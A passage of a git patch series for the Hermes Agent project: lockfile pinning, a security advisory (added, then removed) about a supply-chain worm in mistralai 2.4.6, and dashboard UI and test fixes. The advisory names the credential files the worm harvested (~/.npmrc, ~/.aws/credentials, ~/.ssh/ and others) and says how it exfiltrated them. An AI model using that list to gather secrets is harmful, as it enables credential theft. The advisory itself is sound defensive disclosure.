name = "pyyaml", specifier = "==6.0.3" }, + { name = "qrcode", marker = "extra == 'dingtalk'", specifier = "==7.4.2" }, + { name = "qrcode", marker = "extra == 'feishu'", specifier = "==7.4.2" }, + { name = "qrcode", marker = "extra == 'messaging'", specifier = "==7.4.2" }, + { name = "requests", specifier = "==2.33.0" }, + { name = "rich", specifier = "==14.3.3" }, + { name = "ruamel-yaml", specifier = "==0.18.17" }, + { name = "ruff", marker = "extra == 'dev'", specifier = "==0.15.10" }, + { name = "simple-term-menu", marker = "extra == 'cli'", specifier = "==1.6.6" }, + { name = "slack-bolt", marker = "extra == 'messaging'", specifier = "==1.27.0" }, + { name = "slack-bolt", marker = "extra == 'slack'", specifier = "==1.27.0" }, + { name = "slack-sdk", marker = "extra == 'messaging'", specifier = "==3.40.1" }, + { name = "slack-sdk", marker = "extra == 'slack'", specifier = "==3.40.1" }, + { name = "sounddevice", marker = "extra == 'voice'", specifier = "==0.5.5" }, + { name = "tenacity", specifier = "==9.1.4" }, { name = "tinker", marker = "extra == 'rl'", git = "https://github.com/thinking-machines-lab/tinker.git?rev=30517b667f18a3dfb7ef33fb56cf686d5820ba2b" }, - { name = "ty", marker = "extra == 'dev'", specifier = ">=0.0.1a29,<0.0.22" }, - { name = "tzdata", marker = "sys_platform == 'win32'", specifier = ">=2023.3" }, - { name = "uvicorn", extras = ["standard"], marker = "extra == 'rl'", specifier = ">=0.24.0,<1" }, - { name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = ">=0.24.0,<1" }, - { name = "vercel", marker = "extra == 'vercel'", specifier = ">=0.5.7,<0.6.0" }, - { name = "wandb", marker = "extra == 'rl'", specifier = ">=0.15.0,<1" }, + { name = "ty", marker = "extra == 'dev'", specifier = "==0.0.21" }, + { name = "tzdata", marker = "sys_platform == 'win32'", specifier = "==2025.3" }, + { name = "uvicorn", extras = ["standard"], marker = "extra == 'rl'", specifier = "==0.41.0" }, + { name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = "==0.41.0" }, + { name = "vercel", marker = "extra == 'vercel'", specifier = "==0.5.7" }, + { name = "wandb", marker = "extra == 'rl'", specifier = "==0.25.1" }, { name = "yc-bench", marker = "python_full_version >= '3.12' and extra == 'yc-bench'", git = "https://github.com/collinear-ai/yc-bench.git?rev=bfb0c88062450f46341bd9a5298903fc2e952a5c" }, - { name = "youtube-transcript-api", marker = "extra == 'youtube'", specifier = ">=1.2.0" }, + { name = "youtube-transcript-api", marker = "extra == 'youtube'", specifier = "==1.2.4" }, ] -provides-extras = ["modal", "daytona", "vercel", "hindsight", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "mistral", "bedrock", "termux", "termux-all", "dingtalk", "feishu", "google", "youtube", "web", "rl", "yc-bench", "all"] +provides-extras = ["anthropic", "exa", "firecrawl", "parallel-web", "fal", "edge-tts", "modal", "daytona", "vercel", "hindsight", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "bedrock", "termux", "termux-all", "dingtalk", "feishu", "google", "youtube", "web", "rl", "yc-bench", "all"] [[package]] name = "hf-transfer" @@ -2688,15 +2695,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/f8/62/d9ba6323b9202dd2fe166beab8a86d29465c41a0288cbe229fac60c1ab8d/jsonlines-4.0.0-py3-none-any.whl", hash = "sha256:185b334ff2ca5a91362993f42e83588a360cf95ce4b71a73548502bda52a7c55", size = 8701, upload-time = "2023-09-01T12:34:42.563Z" }, ] -[[package]] -name = "jsonpath-python" -version = "1.1.5" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/2d/db/2f4ecc24da35c6142b39c353d5b7c16eef955cc94b35a48d3fa47996d7c3/jsonpath_python-1.1.5.tar.gz", hash = "sha256:ceea2efd9e56add09330a2c9631ea3d55297b9619348c1055e5bfb9cb0b8c538", size = 87352, upload-time = "2026-03-17T06:16:40.597Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/28/50/1a313fb700526b134c71eb8a225d8b83be0385dbb0204337b4379c698cef/jsonpath_python-1.1.5-py3-none-any.whl", hash = "sha256:a60315404d70a65e76c9a782c84e50600480221d94a58af47b7b4d437351cb4b", size = 14090, upload-time = "2026-03-17T06:16:39.152Z" }, -] - [[package]] name = "jsonschema" version = "4.26.0" @@ -3117,25 +3115,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, ] -[[package]] -name = "mistralai" -version = "2.3.0" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "eval-type-backport" }, - { name = "httpx" }, - { name = "jsonpath-python" }, - { name = "opentelemetry-api" }, - { name = "opentelemetry-semantic-conventions" }, - { name = "pydantic" }, - { name = "python-dateutil" }, - { name = "typing-inspection" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/4d/05/40c38c8893f0ec858756b30f4a939378fc62cf33565af538a843497f3f24/mistralai-2.3.0.tar.gz", hash = "sha256:eb371a9b3b62552f3d4a274ecf5b2c48b90fd3439ecd1425e7f5163cdd87e29a", size = 387145, upload-time = "2026-04-03T15:06:48.927Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/bd/57/d06cbfd96ec6dc45d5c1fe9456f7fcfcb9549c9fa91e213561d1d88729e7/mistralai-2.3.0-py3-none-any.whl", hash = "sha256:22111747c215f1632141660151924f06579f87cd8db2649e0b1f87721d076851", size = 925544, upload-time = "2026-04-03T15:06:47.593Z" }, -] - [[package]] name = "modal" version = "1.3.4" diff --git a/website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md b/website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md new file mode 100644 index 00000000000..1cb2ec79e4c --- /dev/null +++ b/website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md @@ -0,0 +1,138 @@ +# Hermes Agent — Security Advisory: Mini Shai-Hulud worm (mistralai 2.4.6) + +**Date:** May 12, 2026 +**Status:** Quarantined upstream / mitigated in Hermes +**Severity:** Critical +**Affected:** Users who installed `hermes-agent[all]` or `hermes-agent[mistral]` between the upload of `mistralai 2.4.6` and PyPI's quarantine of the package. + +## What happened + +The Mini Shai-Hulud supply-chain worm crossed from npm to PyPI on 2026-05-12. +Among the compromised PyPI artifacts was `mistralai 2.4.6` — the official +Mistral AI Python SDK. The worm steals credentials from environment +variables and credential files (`~/.npmrc`, `~/.pypirc`, `~/.aws/credentials`, +GitHub PATs, cloud SDK tokens) and exfils them to a hardcoded webhook. + +Hermes Agent listed `mistralai>=2.3.0,<3` as the runtime dependency for its +optional Mistral TTS / STT providers. Users who installed +`pip install -e ".[all]"` between the malicious upload and the quarantine +pulled `mistralai 2.4.6` into their venv. PyPI has since removed the project +(`pypi:project-status: quarantined`), so the package is no longer +installable, but copies that landed before quarantine remain in users' +environments. + +## Am I affected? + +Run on the host where you installed Hermes: + +```bash +hermes doctor +``` + +If the **Security Advisories** section flags +`mistralai==2.4.6`, you have the compromised package and must remediate. +If it flags any **other** version of `mistralai`, you are not on the +compromised release — but we still recommend uninstalling, since the +project is currently quarantined and we have disabled Mistral TTS / STT +in Hermes regardless. + +You can also check manually: + +```bash +pip show mistralai 2>/dev/null | grep -i version +``` + +## What we've done in Hermes Agent + +1. **Removed `mistral` from the `[all]` extra** so fresh installs no + longer pull the package by default. (PR #24205, already on main.) +2. **Disabled the Mistral TTS and STT providers** in the runtime — they + return a "temporarily disabled" error and won't import the SDK even + if the venv still has it. +3. **Added a security advisory checker** (`hermes doctor` and CLI startup + banner) that detects `mistralai 2.4.6` if it's still installed and + surfaces remediation steps. The banner is rate-limited (max once per + 24h per advisory) and dismissible via `hermes doctor --ack`. +4. **Hardened the installer fallback tiers.** When one extra's + dependency becomes unavailable on PyPI, the installer now degrades + gracefully — keeping every other extra — instead of dropping all the + way to a stripped install. Future supply-chain incidents won't + silently demote users. +5. **Added a lazy-install framework** (`tools/lazy_deps.py`) so opt-in + backends (Mistral, ElevenLabs, Honcho, etc.) can be installed on + demand when the user enables them, rather than eagerly at install + time. This shrinks every fresh install's blast radius for future + single-package compromises. + +## What you should do + +If `hermes doctor` flags `mistralai==2.4.6`, treat the credentials in +your environment as exposed: + +1. **Uninstall the compromised package:** + ```bash + pip uninstall -y mistralai + # or, if you installed via uv: + uv pip uninstall mistralai + ``` + +2. **Rotate API keys.** Every key in `~/.hermes/.env` should be rotated: + OpenRouter, Anthropic, OpenAI, Nous, GitHub, AWS, Google, Mistral, + and any other provider tokens you have configured. If you used a + shell that exported keys (`.bashrc`, `.zshrc`, etc.), rotate those + too. + +3. **Audit credential files** for tokens that may have been read: + `~/.npmrc`, `~/.pypirc`, `~/.aws/credentials`, `~/.config/gh/hosts.yml`, + `~/.docker/config.json`, `~/.kube/config`, `~/.ssh/`. The worm + harvested files matching these patterns. + +4. **Check GitHub** for unexpected new SSH keys, deploy keys, or webhook + additions on repositories you have admin on. The worm uses stolen + GitHub tokens to add backdoors. + +5. **After cleanup**, dismiss the Hermes warning: + ```bash + hermes doctor --ack shai-hulud-2026-05 + ``` + +## When will Mistral TTS / STT come back? + +When PyPI restores the `mistralai` project to a clean release and we +verify the new release on a clean network, we will re-enable Mistral +TTS / STT in Hermes Agent. Until then, use Edge TTS (default, no key), +ElevenLabs, OpenAI TTS, MiniMax TTS, or any of the user-defined command +providers. For STT, use Groq Whisper or OpenAI Whisper. + +## Future hardening + +This incident exposed two structural weaknesses in our install path: + +- Eager-install of every optional extra meant ONE compromised package + could break the whole `[all]` resolve. **Fixed** via tiered fallback + + lazy-install framework. +- Users had no way to know whether they had a poisoned dependency. + **Fixed** via `hermes_cli/security_advisories.py` and the + `hermes doctor` integration. + +We will continue to extend `tools/lazy_deps.py` so additional opt-in +backends (Slack, Matrix, Bedrock, DingTalk, Feishu, Google Workspace, +YouTube transcripts, etc.) can be installed on first use rather than +eagerly. This reduces the blast radius of any future single-package +compromise. + +## References + +- Socket Security report: +- PyPI quarantine: + (project-status: quarantined as of 2026-05-12) +- Hermes Agent PR (mistral disabled): #24205 +- Hermes Agent PR (advisory checker + lazy installs): _this PR_ +- GitHub security advisory: _to be filed alongside this PR_ + +## Credits + +Reported via [@SocketSecurity](https://twitter.com/SocketSecurity) and +the broader supply-chain security community. Hermes Agent's response +(detection, lazy-install framework, installer tier hardening) was built +by the Hermes Agent team at Nous Research. From dd0923bb89ed2dd56f82cb63656a1323f6f42e6f Mon Sep 17 00:00:00 2001 From: Teknium <127238744+teknium1@users.noreply.github.com> Date: Tue, 12 May 2026 01:09:58 -0700 Subject: [PATCH 10/59] docs: remove public advisory page (handle community comms separately) (#24253) --- pyproject.toml | 1 - .../shai-hulud-mistralai-2026-05.md | 138 ------------------ 2 files changed, 139 deletions(-) delete mode 100644 website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md diff --git a/pyproject.toml b/pyproject.toml index b01a2466d64..68b2a38471b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -20,7 +20,6 @@ dependencies = [ # worm hitting mistralai 2.4.6 on PyPI; if that release had been # captured by `mistralai>=2.3.0,<3` rather than an exact pin, every # install in the hours before the quarantine would have pulled it. - # See website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md. # # When updating: bump the version below AND regenerate uv.lock with # `uv lock` so the transitive resolution stays consistent. Don't diff --git a/website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md b/website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md deleted file mode 100644 index 1cb2ec79e4c..00000000000 --- a/website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md +++ /dev/null @@ -1,138 +0,0 @@ -# Hermes Agent — Security Advisory: Mini Shai-Hulud worm (mistralai 2.4.6) - -**Date:** May 12, 2026 -**Status:** Quarantined upstream / mitigated in Hermes -**Severity:** Critical -**Affected:** Users who installed `hermes-agent[all]` or `hermes-agent[mistral]` between the upload of `mistralai 2.4.6` and PyPI's quarantine of the package. - -## What happened - -The Mini Shai-Hulud supply-chain worm crossed from npm to PyPI on 2026-05-12. -Among the compromised PyPI artifacts was `mistralai 2.4.6` — the official -Mistral AI Python SDK. The worm steals credentials from environment -variables and credential files (`~/.npmrc`, `~/.pypirc`, `~/.aws/credentials`, -GitHub PATs, cloud SDK tokens) and exfils them to a hardcoded webhook. - -Hermes Agent listed `mistralai>=2.3.0,<3` as the runtime dependency for its -optional Mistral TTS / STT providers. Users who installed -`pip install -e ".[all]"` between the malicious upload and the quarantine -pulled `mistralai 2.4.6` into their venv. PyPI has since removed the project -(`pypi:project-status: quarantined`), so the package is no longer -installable, but copies that landed before quarantine remain in users' -environments. - -## Am I affected? - -Run on the host where you installed Hermes: - -```bash -hermes doctor -``` - -If the **Security Advisories** section flags -`mistralai==2.4.6`, you have the compromised package and must remediate. -If it flags any **other** version of `mistralai`, you are not on the -compromised release — but we still recommend uninstalling, since the -project is currently quarantined and we have disabled Mistral TTS / STT -in Hermes regardless. - -You can also check manually: - -```bash -pip show mistralai 2>/dev/null | grep -i version -``` - -## What we've done in Hermes Agent - -1. **Removed `mistral` from the `[all]` extra** so fresh installs no - longer pull the package by default. (PR #24205, already on main.) -2. **Disabled the Mistral TTS and STT providers** in the runtime — they - return a "temporarily disabled" error and won't import the SDK even - if the venv still has it. -3. **Added a security advisory checker** (`hermes doctor` and CLI startup - banner) that detects `mistralai 2.4.6` if it's still installed and - surfaces remediation steps. The banner is rate-limited (max once per - 24h per advisory) and dismissible via `hermes doctor --ack`. -4. **Hardened the installer fallback tiers.** When one extra's - dependency becomes unavailable on PyPI, the installer now degrades - gracefully — keeping every other extra — instead of dropping all the - way to a stripped install. Future supply-chain incidents won't - silently demote users. -5. **Added a lazy-install framework** (`tools/lazy_deps.py`) so opt-in - backends (Mistral, ElevenLabs, Honcho, etc.) can be installed on - demand when the user enables them, rather than eagerly at install - time. This shrinks every fresh install's blast radius for future - single-package compromises. - -## What you should do - -If `hermes doctor` flags `mistralai==2.4.6`, treat the credentials in -your environment as exposed: - -1. **Uninstall the compromised package:** - ```bash - pip uninstall -y mistralai - # or, if you installed via uv: - uv pip uninstall mistralai - ``` - -2. **Rotate API keys.** Every key in `~/.hermes/.env` should be rotated: - OpenRouter, Anthropic, OpenAI, Nous, GitHub, AWS, Google, Mistral, - and any other provider tokens you have configured. If you used a - shell that exported keys (`.bashrc`, `.zshrc`, etc.), rotate those - too. - -3. **Audit credential files** for tokens that may have been read: - `~/.npmrc`, `~/.pypirc`, `~/.aws/credentials`, `~/.config/gh/hosts.yml`, - `~/.docker/config.json`, `~/.kube/config`, `~/.ssh/`. The worm - harvested files matching these patterns. - -4. **Check GitHub** for unexpected new SSH keys, deploy keys, or webhook - additions on repositories you have admin on. The worm uses stolen - GitHub tokens to add backdoors. - -5. **After cleanup**, dismiss the Hermes warning: - ```bash - hermes doctor --ack shai-hulud-2026-05 - ``` - -## When will Mistral TTS / STT come back? - -When PyPI restores the `mistralai` project to a clean release and we -verify the new release on a clean network, we will re-enable Mistral -TTS / STT in Hermes Agent. Until then, use Edge TTS (default, no key), -ElevenLabs, OpenAI TTS, MiniMax TTS, or any of the user-defined command -providers. For STT, use Groq Whisper or OpenAI Whisper. - -## Future hardening - -This incident exposed two structural weaknesses in our install path: - -- Eager-install of every optional extra meant ONE compromised package - could break the whole `[all]` resolve. **Fixed** via tiered fallback + - lazy-install framework. -- Users had no way to know whether they had a poisoned dependency. - **Fixed** via `hermes_cli/security_advisories.py` and the - `hermes doctor` integration. - -We will continue to extend `tools/lazy_deps.py` so additional opt-in -backends (Slack, Matrix, Bedrock, DingTalk, Feishu, Google Workspace, -YouTube transcripts, etc.) can be installed on first use rather than -eagerly. This reduces the blast radius of any future single-package -compromise. - -## References - -- Socket Security report: -- PyPI quarantine: - (project-status: quarantined as of 2026-05-12) -- Hermes Agent PR (mistral disabled): #24205 -- Hermes Agent PR (advisory checker + lazy installs): _this PR_ -- GitHub security advisory: _to be filed alongside this PR_ - -## Credits - -Reported via [@SocketSecurity](https://twitter.com/SocketSecurity) and -the broader supply-chain security community. Hermes Agent's response -(detection, lazy-install framework, installer tier hardening) was built -by the Hermes Agent team at Nous Research. From fc3fd6bb6b3cb4aa01d71bb52c0092ec4b5db1b8 Mon Sep 17 00:00:00 2001 From: Austin Pickett Date: Tue, 12 May 2026 13:42:14 -0400 Subject: [PATCH 11/59] =?UTF-8?q?fix(dashboard):=20UI=20polish=20=E2=80=94?= =?UTF-8?q?=20modals,=20layout,=20consistency,=20test=20fixes?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Dashboard UX polish pass — consolidates create forms into modals triggered from the page header, fixes layout inconsistencies, adds scroll-to navigation for the Keys page, and aligns the TokenBar with the design system. Changes: - App.tsx: add padding to sidebar header - resolve-page-title.ts: add missing routes, better fallback title - en.ts: fix nav labels (Profiles was 'profiles : multi agents') - ModelsPage: two-col layout, auxiliary tasks modal, TokenBar redesign - ProfilesPage: create button in header, form in modal, Checkbox component - CronPage: create button in header, form in modal - EnvPage: scroll-to sub-nav in header, fix text overflow Modal and dialog standardization: - Replace all native confirm()/window.confirm() with ConfirmDialog (OAuthProvidersCard, PluginsPage, ModelsPage, ConfigPage) - Add useModalBehavior hook (Escape-to-close, scroll lock, focus restore) - Apply hook to ProfilesPage, CronPage, AuxiliaryTasksModal Component fixes (from PR review): - Checkbox: fix controlled/uncontrolled mismatch, add focus-visible ring - TokenBar: add rounded-full to legend dots, remove dead code CI/test fixes: - Fix TS unused imports (noUnusedLocals), type-narrow PickerTarget union - Add windows-footgun suppression on platform-guarded os.killpg - Fix 19 stale unit tests + 9 e2e tests broken by recent main changes - Restore minimal example-dashboard plugin for plugin auth test --- .../example-dashboard/dashboard/manifest.json | 14 + .../example-dashboard/dashboard/plugin_api.py | 17 + tests/agent/test_auxiliary_client.py | 1 + tests/e2e/conftest.py | 3 + tests/gateway/test_config.py | 4 +- tests/gateway/test_tts_media_routing.py | 18 +- tests/gateway/test_update_streaming.py | 3 + tests/gateway/test_verbose_command.py | 14 +- .../test_dashboard_profiles_nav_label.py | 7 +- .../hermes_cli/test_update_gateway_restart.py | 27 +- .../run_agent/test_async_httpx_del_neuter.py | 2 +- tests/run_agent/test_provider_parity.py | 3 +- tests/test_ctx_halving_fix.py | 1 + tests/tools/test_vision_native_fast_path.py | 10 +- tools/process_registry.py | 2 +- web/src/App.tsx | 2 +- web/src/components/OAuthProvidersCard.tsx | 20 +- web/src/components/ui/checkbox.tsx | 61 +++ web/src/hooks/useModalBehavior.ts | 44 +++ web/src/i18n/en.ts | 2 +- web/src/lib/resolve-page-title.ts | 7 + web/src/pages/ConfigPage.tsx | 28 +- web/src/pages/CronPage.tsx | 180 ++++++--- web/src/pages/EnvPage.tsx | 78 +++- web/src/pages/ModelsPage.tsx | 370 ++++++++++++------ web/src/pages/PluginsPage.tsx | 30 +- web/src/pages/ProfilesPage.tsx | 135 +++++-- 27 files changed, 788 insertions(+), 295 deletions(-) create mode 100644 plugins/example-dashboard/dashboard/manifest.json create mode 100644 plugins/example-dashboard/dashboard/plugin_api.py create mode 100644 web/src/components/ui/checkbox.tsx create mode 100644 web/src/hooks/useModalBehavior.ts diff --git a/plugins/example-dashboard/dashboard/manifest.json b/plugins/example-dashboard/dashboard/manifest.json new file mode 100644 index 00000000000..68a2e9b895c --- /dev/null +++ b/plugins/example-dashboard/dashboard/manifest.json @@ -0,0 +1,14 @@ +{ + "name": "example", + "label": "Example", + "description": "Example dashboard plugin — used by test suite for auth coverage", + "icon": "Sparkles", + "version": "1.0.0", + "tab": { + "path": "/example", + "position": "after:skills" + }, + "slots": [], + "entry": "dist/index.js", + "api": "plugin_api.py" +} diff --git a/plugins/example-dashboard/dashboard/plugin_api.py b/plugins/example-dashboard/dashboard/plugin_api.py new file mode 100644 index 00000000000..3e850298a09 --- /dev/null +++ b/plugins/example-dashboard/dashboard/plugin_api.py @@ -0,0 +1,17 @@ +"""Example dashboard plugin — backend API routes. + +Mounted at /api/plugins/example/ by the dashboard plugin system. + +This minimal plugin exists so the test suite has a stable, side-effect-free +GET endpoint to verify that plugin API routes work with auth. +""" + +from fastapi import APIRouter + +router = APIRouter() + + +@router.get("/hello") +async def hello(): + """Simple greeting endpoint to demonstrate plugin API routes.""" + return {"message": "Hello from the example plugin!", "plugin": "example", "version": "1.0.0"} diff --git a/tests/agent/test_auxiliary_client.py b/tests/agent/test_auxiliary_client.py index cdac34d3282..c25ca219379 100644 --- a/tests/agent/test_auxiliary_client.py +++ b/tests/agent/test_auxiliary_client.py @@ -660,6 +660,7 @@ class TestAuxiliaryPoolAwareness: with ( patch("agent.auxiliary_client.load_pool", return_value=_Pool()), patch("agent.auxiliary_client.OpenAI") as mock_openai, + patch("hermes_cli.models.get_nous_recommended_aux_model", return_value=None), ): from agent.auxiliary_client import _try_nous diff --git a/tests/e2e/conftest.py b/tests/e2e/conftest.py index 76b14e31793..332cccee497 100644 --- a/tests/e2e/conftest.py +++ b/tests/e2e/conftest.py @@ -222,6 +222,9 @@ def make_runner(platform: Platform, session_entry: SessionEntry = None) -> "Gate runner._capture_gateway_honcho_if_configured = lambda *a, **kw: None runner._emit_gateway_run_progress = AsyncMock() + # Disable destructive slash confirm gate so /new executes immediately + runner._read_user_config = lambda: {"approvals": {"destructive_slash_confirm": False}} + runner.pairing_store = MagicMock() runner.pairing_store._is_rate_limited = MagicMock(return_value=False) runner.pairing_store.generate_code = MagicMock(return_value="ABC123") diff --git a/tests/gateway/test_config.py b/tests/gateway/test_config.py index c53e34b757e..c59b27d8001 100644 --- a/tests/gateway/test_config.py +++ b/tests/gateway/test_config.py @@ -176,8 +176,8 @@ class TestStreamingConfig: "fresh_final_after_seconds": "oops", } ) - assert restored.edit_interval == 1.0 - assert restored.buffer_threshold == 40 + assert restored.edit_interval == 0.8 + assert restored.buffer_threshold == 24 assert restored.fresh_final_after_seconds == 60.0 diff --git a/tests/gateway/test_tts_media_routing.py b/tests/gateway/test_tts_media_routing.py index 0ef37deb3ee..ec93c33f75c 100644 --- a/tests/gateway/test_tts_media_routing.py +++ b/tests/gateway/test_tts_media_routing.py @@ -8,7 +8,7 @@ only renders as a voice bubble when explicitly flagged) and via """ from types import SimpleNamespace -from unittest.mock import AsyncMock +from unittest.mock import AsyncMock, MagicMock import pytest @@ -106,6 +106,16 @@ async def test_base_adapter_routes_voice_tagged_telegram_ogg_media_tag_to_voice_ adapter.send_document.assert_not_awaited() +def _fake_runner(thread_meta): + """Build a fake GatewayRunner-like object with the helper methods needed by + _deliver_media_from_response.""" + runner = SimpleNamespace( + _thread_metadata_for_source=lambda source, anchor=None: thread_meta, + _reply_anchor_for_event=lambda event: None, + ) + return runner + + @pytest.mark.asyncio async def test_streaming_delivery_routes_telegram_flac_media_tag_to_document_sender(): event = _event(thread_id="topic-1") @@ -121,7 +131,7 @@ async def test_streaming_delivery_routes_telegram_flac_media_tag_to_document_sen ) await GatewayRunner._deliver_media_from_response( - object(), + _fake_runner({"thread_id": "topic-1"}), "MEDIA:/tmp/speech.flac", event, adapter, @@ -150,7 +160,7 @@ async def test_streaming_delivery_routes_non_voice_telegram_ogg_media_tag_to_doc ) await GatewayRunner._deliver_media_from_response( - object(), + _fake_runner({"thread_id": "topic-1"}), "MEDIA:/tmp/speech.ogg", event, adapter, @@ -181,7 +191,7 @@ async def test_streaming_delivery_routes_telegram_mp3_media_tag_to_voice_sender( ) await GatewayRunner._deliver_media_from_response( - object(), + _fake_runner({"thread_id": "topic-1"}), "MEDIA:/tmp/speech.mp3", event, adapter, diff --git a/tests/gateway/test_update_streaming.py b/tests/gateway/test_update_streaming.py index b1681e1f349..932bd1b0579 100644 --- a/tests/gateway/test_update_streaming.py +++ b/tests/gateway/test_update_streaming.py @@ -45,6 +45,9 @@ def _make_runner(hermes_home=None): runner._pending_messages = {} runner._pending_approvals = {} runner._failed_platforms = {} + # config is accessed by _check_slash_access and quick_commands lookup; + # None makes policy_for_source return a disabled (allow-all) policy. + runner.config = None # Bypass the destructive-slash confirm gate — this test exercises # update-prompt interception, not the confirm prompt. runner._read_user_config = lambda: { diff --git a/tests/gateway/test_verbose_command.py b/tests/gateway/test_verbose_command.py index d6debebae59..7b8d0445129 100644 --- a/tests/gateway/test_verbose_command.py +++ b/tests/gateway/test_verbose_command.py @@ -129,7 +129,7 @@ class TestVerboseCommand: @pytest.mark.asyncio async def test_defaults_to_all_when_no_tool_progress_set(self, tmp_path, monkeypatch): - """When tool_progress is not in config, defaults to 'all' then cycles to verbose.""" + """When tool_progress is not in config, defaults to platform default then cycles.""" hermes_home = tmp_path / "hermes" hermes_home.mkdir() config_path = hermes_home / "config.yaml" @@ -143,17 +143,17 @@ class TestVerboseCommand: runner = _make_runner() result = await runner._handle_verbose_command(_make_event()) - # Telegram default is "all" (high tier) → cycles to verbose - assert "VERBOSE" in result + # Telegram platform default is "new" → cycles to "all" + assert "ALL" in result saved = yaml.safe_load(config_path.read_text(encoding="utf-8")) - assert saved["display"]["platforms"]["telegram"]["tool_progress"] == "verbose" + assert saved["display"]["platforms"]["telegram"]["tool_progress"] == "all" @pytest.mark.asyncio async def test_per_platform_isolation(self, tmp_path, monkeypatch): """Cycling /verbose on Telegram doesn't change Slack's setting. Without a global tool_progress, each platform uses its built-in - default: Telegram = 'all' (high tier), Slack = 'off' (quiet Slack default). + default: Telegram = 'new' (overridden high tier), Slack = 'off' (quiet Slack default). """ hermes_home = tmp_path / "hermes" hermes_home.mkdir() @@ -178,8 +178,8 @@ class TestVerboseCommand: saved = yaml.safe_load(config_path.read_text(encoding="utf-8")) platforms = saved["display"]["platforms"] - # Telegram: all -> verbose (high tier default = all) - assert platforms["telegram"]["tool_progress"] == "verbose" + # Telegram: new -> all (platform default = new) + assert platforms["telegram"]["tool_progress"] == "all" # Slack: off -> new (first /verbose cycle from quiet default) assert platforms["slack"]["tool_progress"] == "new" diff --git a/tests/hermes_cli/test_dashboard_profiles_nav_label.py b/tests/hermes_cli/test_dashboard_profiles_nav_label.py index 583e62ee9fd..924f217bd2e 100644 --- a/tests/hermes_cli/test_dashboard_profiles_nav_label.py +++ b/tests/hermes_cli/test_dashboard_profiles_nav_label.py @@ -2,10 +2,11 @@ from pathlib import Path -def test_profiles_nav_label_uses_short_multi_agents_copy(): +def test_profiles_nav_label_uses_short_copy(): en_i18n = Path(__file__).resolve().parents[2] / "web" / "src" / "i18n" / "en.ts" content = en_i18n.read_text(encoding="utf-8") - assert 'profiles: "profiles : multi agents"' in content - assert "Profiles: Running Multiple Agents" not in content + # Nav label should be the clean short form, not the old verbose string + assert 'profiles: "Profiles"' in content + assert "profiles : multi agents" not in content diff --git a/tests/hermes_cli/test_update_gateway_restart.py b/tests/hermes_cli/test_update_gateway_restart.py index 5493acb52c0..34c878eca79 100644 --- a/tests/hermes_cli/test_update_gateway_restart.py +++ b/tests/hermes_cli/test_update_gateway_restart.py @@ -6,6 +6,7 @@ rather than leaving zombie processes or telling users to manually restart when launchd will auto-respawn. """ +import os import subprocess from types import SimpleNamespace from unittest.mock import patch, MagicMock @@ -1068,13 +1069,18 @@ class TestFindGatewayPidsExclude: def test_excludes_specified_pids(self, monkeypatch): monkeypatch.setattr(gateway_cli, "is_windows", lambda: False) + # Bypass /proc scan so the subprocess (ps) fallback is used + _real_isdir = os.path.isdir + monkeypatch.setattr("os.path.isdir", lambda p: False if p == "/proc" else _real_isdir(p)) + monkeypatch.setattr(gateway_cli, "_get_service_pids", lambda: set()) + monkeypatch.setattr(gateway_cli, "_get_ancestor_pids", lambda: {999}) def fake_run(cmd, **kwargs): return subprocess.CompletedProcess( cmd, 0, stdout=( - "user 100 0.0 0.0 0 0 ? S 00:00 0:00 python gateway/run.py\n" - "user 200 0.0 0.0 0 0 ? S 00:00 0:00 python gateway/run.py\n" + "100 python gateway/run.py\n" + "200 python gateway/run.py\n" ), stderr="", ) @@ -1082,19 +1088,24 @@ class TestFindGatewayPidsExclude: monkeypatch.setattr(gateway_cli.subprocess, "run", fake_run) monkeypatch.setattr("os.getpid", lambda: 999) - pids = gateway_cli.find_gateway_pids(exclude_pids={100}) + pids = gateway_cli.find_gateway_pids(exclude_pids={100}, all_profiles=True) assert 100 not in pids assert 200 in pids def test_no_exclude_returns_all(self, monkeypatch): monkeypatch.setattr(gateway_cli, "is_windows", lambda: False) + # Bypass /proc scan so the subprocess (ps) fallback is used + _real_isdir = os.path.isdir + monkeypatch.setattr("os.path.isdir", lambda p: False if p == "/proc" else _real_isdir(p)) + monkeypatch.setattr(gateway_cli, "_get_service_pids", lambda: set()) + monkeypatch.setattr(gateway_cli, "_get_ancestor_pids", lambda: {999}) def fake_run(cmd, **kwargs): return subprocess.CompletedProcess( cmd, 0, stdout=( - "user 100 0.0 0.0 0 0 ? S 00:00 0:00 python gateway/run.py\n" - "user 200 0.0 0.0 0 0 ? S 00:00 0:00 python gateway/run.py\n" + "100 python gateway/run.py\n" + "200 python gateway/run.py\n" ), stderr="", ) @@ -1102,7 +1113,7 @@ class TestFindGatewayPidsExclude: monkeypatch.setattr(gateway_cli.subprocess, "run", fake_run) monkeypatch.setattr("os.getpid", lambda: 999) - pids = gateway_cli.find_gateway_pids() + pids = gateway_cli.find_gateway_pids(all_profiles=True) assert 100 in pids assert 200 in pids @@ -1111,6 +1122,10 @@ class 